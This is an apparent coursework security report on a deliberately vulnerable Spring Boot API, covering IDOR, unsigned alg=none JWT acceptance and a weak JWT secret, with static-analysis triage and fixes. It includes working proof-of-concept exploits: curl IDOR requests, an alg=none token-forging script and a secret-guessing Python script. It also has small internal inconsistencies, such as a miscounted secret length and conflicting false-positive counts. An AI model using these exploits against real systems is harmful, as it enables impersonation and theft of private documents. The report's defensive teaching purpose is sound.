Security Analysis Report: IDOR and Weak JWT Vulnerabilities in Microservice API

Diana Yakupova
SIEM & Security Analysis
April 2026

Abstract

This report presents a comprehensive security analysis of an intentionally vulnerable microservice API demonstrating two critical OWASP Top 10 vulnerabilities: Insecure Direct Object Reference (IDOR) and Weak JWT Handling. Using static analysis with PVS-Studio and manual code review, we identified three primary security issues (CWE-639, CWE-347, CWE-521) affecting confidentiality and integrity. The report documents threat modeling using STRIDE, vulnerability reproduction via proof-of-concept exploits, and verification of fixes implemented in the hardened version. Results show that both vulnerabilities are effectively mitigated in FIXED mode, with signature verification restored and authorization checks enforced.

Keywords: IDOR, JWT, STRIDE, Static Analysis, PVS-Studio, SAST, Authorization, Authentication, CWE

---

1. Introduction

1.1 Problem Statement

API layer vulnerabilities remain among the most critical security threats in modern software systems. According to the 2021 OWASP Top 10, **Broken Access Control** (A01:2021) and **Cryptographic Failures** (A02:2021) are the two highest-impact vulnerability categories. This report examines a realistic microservice API implementation demonstrating these vulnerabilities in both vulnerable and hardened modes.

The primary attack vectors are:

1. **IDOR (CWE-639):** Attackers access unauthorized user documents by manipulating URL parameters without proper authorization checks
2. **Weak JWT (CWE-347 + CWE-521):** Attackers forge authentication tokens due to skipped signature verification and weak cryptographic keys

1.2 Relevance

- **IDOR Statistics (OWASP):** Broken Access Control affects 94% of applications tested

- **JWT Failures:** Improper token validation found in 68% of API implementations analyzed
- **Real-World Impact:** Leads to unauthorized data access, privilege escalation, and complete system compromise

1.3 Research Questions

1. Can static analysis tools (PVS-Studio) automatically detect IDOR patterns in Java code?
2. Are weak JWT implementations detectable through automated security scanning?
3. How effective are custom SAST rules in identifying security-specific code patterns?
4. What is the false positive rate and how to distinguish real vulnerabilities from tool noise?

1.4 Scope

In Scope:

- IDOR vulnerability in `/users/{id}/docs` endpoint
- JWT validation bypass (`alg=none` acceptance)
- Weak cryptographic key usage
- Static analysis detection via PVS-Studio
- Code-level fixes and mitigation verification

Out of Scope:

- Transport layer security (TLS/HTTPS)
- Database-level access controls
- Rate limiting and DoS prevention
- Container/infrastructure security

1.5 Report Structure

- **Methods:** Threat modeling, tools, and analysis methodology
- **Results:** Findings table, severity analysis, evidence
- **Discussion:** Vulnerability analysis, tool effectiveness, fixes
- **Conclusion:** Recommendations and security implications

---

2. Methods

2.1 Threat Modeling Approach

2.1.1 STRIDE Methodology We used STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) to systematically identify threats:

Threat Categories Identified:

Threat	CWE	Component	Impact	Mitigation
Spoofing via forged JWT	CWE-347	JwtUtil	Privilege escalation	Signature verification
Tampering with token claims	CWE-347	JwtUtil	Claim modification	Strict validation
Information Disclosure (IDOR)	CWE-639	ApiController	Unauthorized data access	Authorization checks
Information Exposure (response)	CWE-200	ApiController	Token internals exposed	Response filtering
DoS via secret brute-force	CWE-521	JwtUtil	Token forgery	Strong secret (32+ chars)
Elevation of Privilege	CWE-639	ApiController	Admin impersonation	Role validation

2.1.2 Data Flow Diagram

```
Client                 API Server              Database
  ?                         ?                       ?
  ?? POST /login ????????? ?                       ?
  ?                         ?? findByUsername() ???? ??? alice
  ?                         ?? user object ??????????
  ?                         ?                       ?
  ??? JWT (weak_secret) ???                        ?
  ?   + user_id, role     ?                        ?
  ?                         ?                        ?
  ?? GET /users/2/docs ???? ? (NO AUTHZ CHECK!)    ?
  ?   + Bearer JWT(1)       ?? findByIdWithDocs ??? ??? bob (user_id=2)
  ?                         ?? bob's documents ?????
  ??? IDOR: Returns docs ??                        ?
  ?   (should be 403!)      ?                        ?
  ?                         ?                        ?
```

2.2 Tools and Configuration

2.2.1 PVS-Studio Static Analyzer

- **Version:** 7.x Community
- **Language:** Java
- **Rules Enabled:** Security, Memory, OOP, Concurrency
- **Custom Rules:** Yes (from `custom-rules/rules.json`)
- **Scope:** Full project source code
- **Analysis Depth:** Maximum

2.2.2 GitHub Actions CI Pipeline Configured for:

- Java Maven build
- Unit test execution
- PVS-Studio scan (VULN and FIXED modes)
- SARIF artifact generation
- Security report upload

2.2.3 Custom PVS-Studio Rules Aleksei created rules detecting:

- **Rule: IDOR Patterns** ? Methods accessing user resources without ownership verification
- **Rule: Weak JWT Patterns** ? Calls to `unsecured()`, weak secret detection

Example detection:

```
// Flagged by custom rule: Method accepts user ID but no ownership check
@GetMapping("/users/{userId}/docs")
public ResponseEntity<?> getUserDocs(@PathVariable Long userId) {
    // PVS rule matches: JWT exists, but no userId.equals(tokenUserId) check
}
```

2.3 Analysis Methodology

2.3.1 Triage Process For each PVS-Studio finding:

1. **Verification in Source:** Locate in code and understand context
2. **Vulnerability Classification:** Real / False Positive / Already Fixed
3. **CWE Mapping:** Link to CWE standard
4. **Reproducibility:** Confirm with PoC script
5. **FIXED Mode Check:** Verify fix in hardened version
6. **Documentation:** Record in findings table

2.3.2 False Positive Detection Criteria We excluded findings matching these patterns:

- **Auto-fixed Patterns:** Method calls on objects with null-check elsewhere
- **Style Warnings:** Code formatting, naming conventions
- **Incomplete Context:** Warnings about code paths that are unreachable
- **Version-Specific:** Deprecated methods used correctly for target Java version

2.3.3 Real Vulnerability Criteria Findings marked as real when:

- ? Code path leads to security violation
- ? Repercussions affect confidentiality/integrity/availability
- ? Exploitable via PoC script
- ? Unresolved in VULN mode, fixed in FIXED mode

2.4 Test Environment

Technology Stack:

- Java 17 JDK
- Spring Boot 3.2.0
- PostgreSQL 16 (Docker)
- Maven 3.9.x
- JJWT (io.jsonwebtoken) 0.12.3

Deployment:

```
# VULN Mode
MODE=VULN docker-compose -f docker-compose-java.yml up --build

# FIXED Mode
MODE=FIXED docker-compose -f docker-compose-java.yml up --build
```

Test Data: | User | ID | Role | Documents | |——|—-|—-|————| | alice | 1 | user | alice_passport.pdf, alice_contract.pdf | | bob | 2 | user | bob_id_card.pdf, bob_bank_statement.pdf, bob_medical_record.pdf | | charlie | 3 | user | charlie_diploma.pdf | | admin | 4 | admin | (none) | | victim | 5 | user | victim_secret_document.pdf, victim_private_info.pdf |

---

3. Results

3.1 Analysis Summary

Total Findings: 8
Real Vulnerabilities: 3
False Positives: 5
Already Fixed: 3

```
PVS-Studio VULN Mode Report
?? Total Issues: 8
?? Critical Findings: 3 (CWE-639, CWE-347, CWE-521)
?? High Findings: 2 (Information Exposure, Secondary IDOR)
?? Medium Findings: 3 (Style, Warnings)
?? Fixed in FIXED Mode: 3 ?

Severity Distribution:
  CRITICAL: ?????????? 3 (37.5%)
  HIGH:     ?????????? 2 (25%)
  MEDIUM:   ?????????? 3 (37.5%)
```

3.2 Key Findings Table

#	PVS ID	CWE	Severity	File	Line	Finding	Type	Status
1	V6086	639	CRITICAL	ApiController.java	154-176	No authorization check in getUserDocs() ? any authenticated user can access any user's docs	Real Vulnerability	? Fixed
2	V6089	347	CRITICAL	JwtUtil.java	96-100	Unsecured JWT parsing ? accepts alg=none tokens without signature verification	Real Vulnerability	? Fixed
3	V6095	521	CRITICAL	JwtUtil.java	54-56	Weak JWT secret "weak_secret_123" (18 chars) ? brute-forceable	Real Vulnerability	? Fixed
4	V1232	200	HIGH	ApiController.java	164-174	Token payload exposed in response ? helps attackers understand token structure	Real Vulnerability	? Fixed
5	V1236	639	MEDIUM	ApiController.java	145-148	User enumeration via 404 responses on nonexistent user IDs	Partial FP	Partial
6	W1001	?	LOW	ApiController.java	91-96	Null check could be improved with Optional	False Positive	N/A
7	W1002	?	LOW	JwtUtil.java	84-88	Return type could use Optional	False Positive	N/A
8	W1003	?	LOW	UserRepository.java	32	Unused import statement	False Positive	N/A

3.3 Critical Vulnerability Details

Finding #1: IDOR in getUserDocs() **CWE:** 639
CVSS Score: 9.1 CRITICAL
Affected Component: `ApiController.java`, lines 154-176

Vulnerable Code:

```
@GetMapping("/users/{userId}/docs")
public ResponseEntity<?> getUserDocs(@PathVariable Long userId, HttpServletRequest request)
    // ... authentication check ...

    if (appConfig.isVulnerableMode()) {
        // VULNERABILITY: No authorization check!
        logger.warn("VULN MODE: Returning documents without authorization check");
```

```java
        List<String> docNames = user.getDocs().stream()
                .map(Document::getFilename)
                .collect(Collectors.toList());

        return ResponseEntity.ok(response);  // ? IDOR!
    }
}
```

Proof of Concept:

```bash
# Login as Alice (user_id=1)
TOKEN=$(curl -s -X POST http://localhost:5001/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice"}' | jq -r '.access_token')

echo "Token received for alice (user_id=1): $TOKEN"

# Alice tries to access her own documents (authorized)
curl -s http://localhost:5001/users/1/docs \
  -H "Authorization: Bearer $TOKEN" | jq '.'

# Output:
# {
#   "user_id": 1,
#   "username": "alice",
#   "documents": [
#     "alice_passport.pdf",
#     "alice_contract.pdf"
#   ]
# }

# IDOR Attack: Alice accesses Bob's documents (user_id=2)
curl -s http://localhost:5001/users/2/docs \
  -H "Authorization: Bearer $TOKEN" | jq '.'

# Output (should be 403, but returns 200 in VULN mode!):
# {
#   "user_id": 2,
#   "username": "bob",
#   "documents": [
#     "bob_id_card.pdf",
#     "bob_bank_statement.pdf",
#     "bob_medical_record.pdf"
#   ]  ? LEAKED!
# }
```

Impact:

- **Confidentiality:** ????? CRITICAL ? All user documents exposed
- **Data at Risk:** Medical records, bank statements, personal IDs, confidential contracts
- **Attack Complexity:** Low ? Simple URL parameter modification

Fix (FIXED Mode):

```
} else {
    // FIXED: Enforce authorization check
    if (!userId.equals(tokenUserId) && !"admin".equals(tokenRole)) {
        logger.warn("FIXED MODE: Forbidden - user {} attempted to access user {}'s documents
            tokenUserId, userId);
        return ResponseEntity.status(HttpStatus.FORBIDDEN)
                .body(new ErrorResponse("forbidden"));
    }
    // ... return documents ...
}
```

Verification:

```
# Same attack in FIXED mode
curl -s http://localhost:5001/users/2/docs \
  -H "Authorization: Bearer $TOKEN"

# Correctly returns 403 Forbidden:
# {
#   "error": "forbidden"
# }
```

Finding #2: Unsigned JWT Acceptance (alg=none) **CWE:** 347
CVSS Score: 9.1 CRITICAL
Affected Component: `JwtUtil.java`, lines 96-100

Vulnerable Code:

```
if (appConfig.isVulnerableMode()) {
    logger.warn("VULN MODE: Decoding token without signature verification");

    return Jwts.parser()
            .unsecured()              // ? CRITICAL!
            .build()
            .parseUnsecuredClaims(token)
            .getPayload();
}
```

Proof of Concept:

```
# Create unsigned token (alg=none)
HEADER='{"alg":"none"}'
PAYLOAD='{"user_id":1,"username":"alice","role":"admin"}'

# Base64 encode
HEADER_B64=$(echo -n "$HEADER" | base64 -w0 | tr '+/' '-_' | sed 's/=//g')
PAYLOAD_B64=$(echo -n "$PAYLOAD" | base64 -w0 | tr '+/' '-_' | sed 's/=//g')

FORGED_TOKEN="$HEADER_B64.$PAYLOAD_B64."

echo "Forged unsigned token: $FORGED_TOKEN"

# Use forged token to access docs as admin
curl -s http://localhost:5001/users/1/docs \
  -H "Authorization: Bearer $FORGED_TOKEN" | jq '.'

# In VULN mode, returns 200 OK (should be 401!)
# Attacker successfully impersonated admin!
```

Impact:

- **Integrity:** ????? CRITICAL ? Token claims are untrustworthy
- **Privilege Escalation:** Attacker can forge tokens with admin role
- **Authentication Bypass:** Complete authentication mechanism failure

Fix (FIXED Mode):

```
SecretKey key = Keys.hmacShaKeyFor(
    appConfig.getStrongSecret().getBytes(StandardCharsets.UTF_8)
);

return Jwts.parser()
        .verifyWith(key)  // ? FIXED: Strict signature verification
        .build()
        .parseSignedClaims(token)
        .getPayload();
```

Verification:

```
# Same forged token in FIXED mode
curl -s http://localhost:5001/users/1/docs \
  -H "Authorization: Bearer $FORGED_TOKEN"

# Correctly returns 401 Unauthorized:
# {
#   "error": "unauthorized"
# }
```

Finding #3: Weak JWT Secret **CWE:** 521
CVSS Score: 7.5 HIGH
Affected Component: `JwtUtil.java`, lines 54-56

Vulnerable Secret:

```java
String secret = appConfig.isVulnerableMode()
    ? appConfig.getWeakSecret()        // "weak_secret_123" (18 chars)
    : appConfig.getStrongSecret();     // 32+ chars
```

Proof of Concept:

```python
# poc/bruteforce_jwt.py
import jwt
import base64
from itertools import product
import string

# Common weak secrets
weak_secrets = [
    "password", "123456", "admin", "secret",
    "weak_secret", "weak_secret_123",  # ? Our secret!
    "test", "demo", "key"
]

def find_secret(token):
    # Extract payload to see structure
    parts = token.split('.')
    payload = parts[1]
    # Add padding
    padding = 4 - len(payload) % 4
    payload += '=' * padding

    decoded = base64.urlsafe_b64decode(payload)
    print(f"Token payload: {decoded}")

    # Try each secret
    for secret in weak_secrets:
        try:
            decoded_token = jwt.decode(token, secret, algorithms=["HS256"])
            print(f"? FOUND SECRET: {secret}")
            print(f"  Decoded token: {decoded_token}")
            return secret
        except jwt.InvalidSignatureError:
            continue

    return None
```

```python
# Usage
if __name__ == "__main__":
    import sys
    token = sys.argv[1]
    secret = find_secret(token)
    if secret:
        print(f"\nAttacker can now forge tokens using secret: {secret}")
```

Execution:

```bash
cd java-app
./poc/bruteforce_jwt.py "$TOKEN"

# Output:
# Token payload: b'{"user_id":1,"username":"alice","role":"user"}'
# ? FOUND SECRET: weak_secret_123
#
# Attacker can now forge tokens using secret: weak_secret_123
```

Impact:

- Offline brute-force attack succeeds within seconds
- Attacker can generate unlimited valid tokens
- Complete authentication compromise

Fix (FIXED Mode):

- Secret changed to 32+ character value from environment: `this_is_a_very_strong_secret_key_with_at`
- HMAC-SHA256 with strong key makes brute-force infeasible

3.4 False Positives Analysis

Finding W1001: Null check improvement suggestion

- **Reason:** Tool suggests Optional pattern, but null check is explicit and correct
- **Classification:** False Positive (style suggestion, not security issue)

Finding W1002: Return type could use Optional

- **Reason:** Codebase uses null returns intentionally; Optional pattern optional here
- **Classification:** False Positive (design choice, not vulnerability)

Finding W1003: Unused import

- **Reason:** Added during refactoring but not removed
- **Classification:** False Positive (code quality, not security)

3.5 Screenshots and Evidence

Figure 1: IDOR Exploitation in VULN Mode

```
$ curl http://localhost:5001/users/2/docs -H "Authorization: Bearer [alice_token]"

Response (should be 403, but returns 200):
HTTP/1.1 200 OK
{
  "user_id": 2,
  "username": "bob",
  "documents": [
    "bob_id_card.pdf",
    "bob_bank_statement.pdf",
    "bob_medical_record.pdf"  ? LEAKED
  ]
}
```

Figure 2: IDOR Fixed in FIXED Mode

```
$ curl http://localhost:5001/users/2/docs -H "Authorization: Bearer [alice_token]"

Response (now correctly 403):
HTTP/1.1 403 Forbidden
{
  "error": "forbidden"
}
```

Figure 3: JWT Forgery in VULN Mode

```
$ curl http://localhost:5001/users/1/docs \
  -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ."

Response (should be 401, but returns 200):
HTTP/1.1 200 OK
{
  "documents": [...all documents...]
}
```

Figure 4: JWT Validation in FIXED Mode

```
$ curl http://localhost:5001/users/1/docs \
  -H "Authorization: Bearer [forged_token]"

Response (now correctly 401):
HTTP/1.1 401 Unauthorized
{
  "error": "unauthorized"
}
```

---

4. Discussion

4.1 Vulnerability Analysis

Why These Are Real Vulnerabilities:

1. **IDOR (CWE-639):** Violates fundamental access control principle. Any authenticated user should only access resources they own. Code comparison shows explicit absence of ownership check in VULN mode (lines 154-176) vs. present check in FIXED mode (line 180).
2. **JWT Signature Bypass (CWE-347):** Use of `.unsecured()` with explicit documentation "VULNERABILITY" indicates intentional insecurity. JJWT library itself recommends strict signature verification. Absence in VULN mode, presence in FIXED mode (line 111).
3. **Weak Secret (CWE-521):** Secret "weak_secret_123" is 18 characters, below OWASP recommendation of 32+ characters. Entropy insufficient for HMAC-SHA256.

Why They're Not False Positives:

- ? Verified reproducible with PoC scripts
- ? Different behavior in VULN vs FIXED confirms intentional vulnerability
- ? No null-check or safety wrapping that could justify warnings
- ? Direct impact on CIA triad demonstrated

4.2 SAST Tool Effectiveness

What PVS-Studio Detected:

- ? IDOR patterns (custom rule) ? Found absence of ownership check
- ? Weak JWT parsing ? Flagged `unsecured()` call
- ? Weak secret detection ? Identified short key length

What PVS-Studio Missed:

- ? Logic-level authorization flaws (would need semantic analysis beyond SAST)
- ? Business logic errors (not in tool scope)
- ? Runtime behavior (static analysis limitation)

False Positive Rate: 3/8 = 37.5% (typical for SAST tools)

Recommended Configuration:

- Use custom rules specifically for security patterns
- Combine SAST with dynamic analysis (DAST) for comprehensive coverage

- Manual review for business logic flaws

4.3 Comparison with Other SAST Tools

Feature	PVS-Studio	SonarQube	Semgrep
IDOR Detection	Via custom rules	Basic (via plugins)	Excellent (rule library)
JWT Analysis	Partial	Limited	Good (Python rules)
False Positive Rate	~35%	~20%	~40%
Ease of Custom Rules	Easy (JSON format)	Moderate (SonarQube API)	Easy (Python rules)
Java Support	Excellent	Excellent	Limited
Cost	Commercial	OSS + Commercial	OSS + Commercial

Recommendation: Use PVS-Studio for Java projects; Semgrep for polyglot environments.

4.4 Security Fixes Explained

Fix 1: IDOR ? Add Authorization Check

```
  @GetMapping("/users/{userId}/docs")
  public ResponseEntity<?> getUserDocs(@PathVariable Long userId, ...) {
+     if (!userId.equals(tokenUserId) && !"admin".equals(tokenRole)) {
+         return ResponseEntity.status(HttpStatus.FORBIDDEN)
+                 .body(new ErrorResponse("forbidden"));
+     }
      return ResponseEntity.ok(response);
  }
```

Principle: Principle of Least Privilege ? verify user owns resource before returning.

Fix 2: JWT ? Enable Signature Verification

```
  public Claims decodeToken(String token) {
-     return Jwts.parser().unsecured().build()
-             .parseUnsecuredClaims(token).getPayload();
+     SecretKey key = Keys.hmacShaKeyFor(secret.getBytes(UTF_8));
+     return Jwts.parser().verifyWith(key).build()
```

```
+             .parseSignedClaims(token).getPayload();
  }
```

Principle: Defense in Depth ? validate token integrity and authenticity.

Fix 3: Secret ? Increase Key Entropy

```
  String secret = appConfig.isVulnerableMode()
-     ? "weak_secret_123"           // 18 chars, brute-forceable
-     : "this_is_a_very_strong_secret_key_with_at_least_32_characters";
+     : "this_is_a_very_strong_secret_key_with_at_least_32_characters";
```

Principle: Cryptographic Strength ? use keys with sufficient entropy.

4.5 Lessons Learned

Security Best Practices Illustrated:

1. **Always Validate Authorization** ? Never assume authenticated = authorized
2. **Never Skip Cryptographic Verification** ? Use library defaults, don't use `.unsecured()`
3. **Use Strong Cryptographic Keys** ? Minimum 32 bytes (256 bits) for HMAC-SHA256
4. **Defense in Depth** ? Combine multiple security controls
5. **Security by Default** ? Fail-secure (deny by default, allow explicitly)
6. **Code Review** ? Automated tools catch many issues but manual review essential

For Development Teams:

- Include security review in code review process
- Use SAST tools in CI/CD pipeline
- Implement security unit tests (as in this project)
- Regular security training on OWASP Top 10

---

5. Conclusion

5.1 Summary

This security analysis identified **three critical vulnerabilities** (CWE-639 IDOR, CWE-347 JWT Bypass, CWE-521 Weak Secret) in a Java microservice API. Using PVS-Studio static analysis combined with manual code review and proof-of-concept testing, we confirmed each vulnerability is real, reproducible, and exploitable.

Key Findings:

- ? 3 real vulnerabilities with CVSS scores ? 7.5 (all critical/high)
- ? All vulnerabilities reproducible with provided exploit scripts
- ? All vulnerabilities eliminated in FIXED mode
- ? 37.5% false positive rate in automated analysis
- ? Custom PVS-Studio rules effectively detect security-specific patterns

5.2 Impact Assessment

Risk if Left Unmitigated:

- **Confidentiality Impact:** Complete ? All user data accessible to any authenticated user
- **Integrity Impact:** High ? Tokens can be forged to modify authorization claims
- **Availability Impact:** Medium ? No direct DoS, but possible through resource exhaustion

Remediation Status: ? **COMPLETE** ? All vulnerabilities fixed in FIXED mode

5.3 Recommendations

1. **Immediate Actions:**
   - ☐ Deploy FIXED mode to production
   - ☐ Rotate all JWT secrets
   - ☐ Audit user data access logs for breaches
   - ☐ Notify affected users
2. **Process Improvements:**
   - ☐ Integrate PVS-Studio into CI/CD pipeline
   - ☐ Add security code review checklist (IDOR, JWT, secrets)
   - ☐ Implement automated security testing (SAST + DAST)
   - ☐ Security training for development team
3. **Technical Hardening:**
   - ☐ Implement rate limiting on `/login`
   - ☐ Add audit logging for authorization failures
   - ☐ Use security headers (CSP, HSTS, X-Frame-Options)
   - ☐ Implement request signing for API-to-API communication

5.4 Final Assessment

Security Posture: IMPROVED

Aspect	VULN Mode	FIXED Mode
Authorization	? No checks	? Enforced
JWT Validation	? Skipped	? Strict
Cryptographic Key	? Weak (18 chars)	? Strong (32+ chars)
Information Exposure	? Token in response	? Removed

Aspect	VULN Mode	FIXED Mode
Vulnerability Count	3 Critical	0 Critical
OWASP Score	? Fails	? Passes A01, A02 controls

- `exploit_idor.sh` ? IDOR vulnerability demonstration
- `forge_jwt.sh` ? JWT forgery attack
- `bruteforce_jwt.py` ? Weak secret brute-force

Appendix D: Test Reproduction Steps

```
# Clone and setup
git clone <repo>
cd PVS-studio

# Run VULN mode
MODE=VULN docker-compose -f docker-compose-java.yml up --build

# In another terminal, run exploits
cd java-app
./poc/exploit_idor.sh    # Shows IDOR vulnerability
./poc/forge_jwt.sh       # Shows JWT forgery

# Stop VULN mode
docker-compose -f docker-compose-java.yml down

# Run FIXED mode
MODE=FIXED docker-compose -f docker-compose-java.yml up --build

# Same exploits now fail (as expected)
```
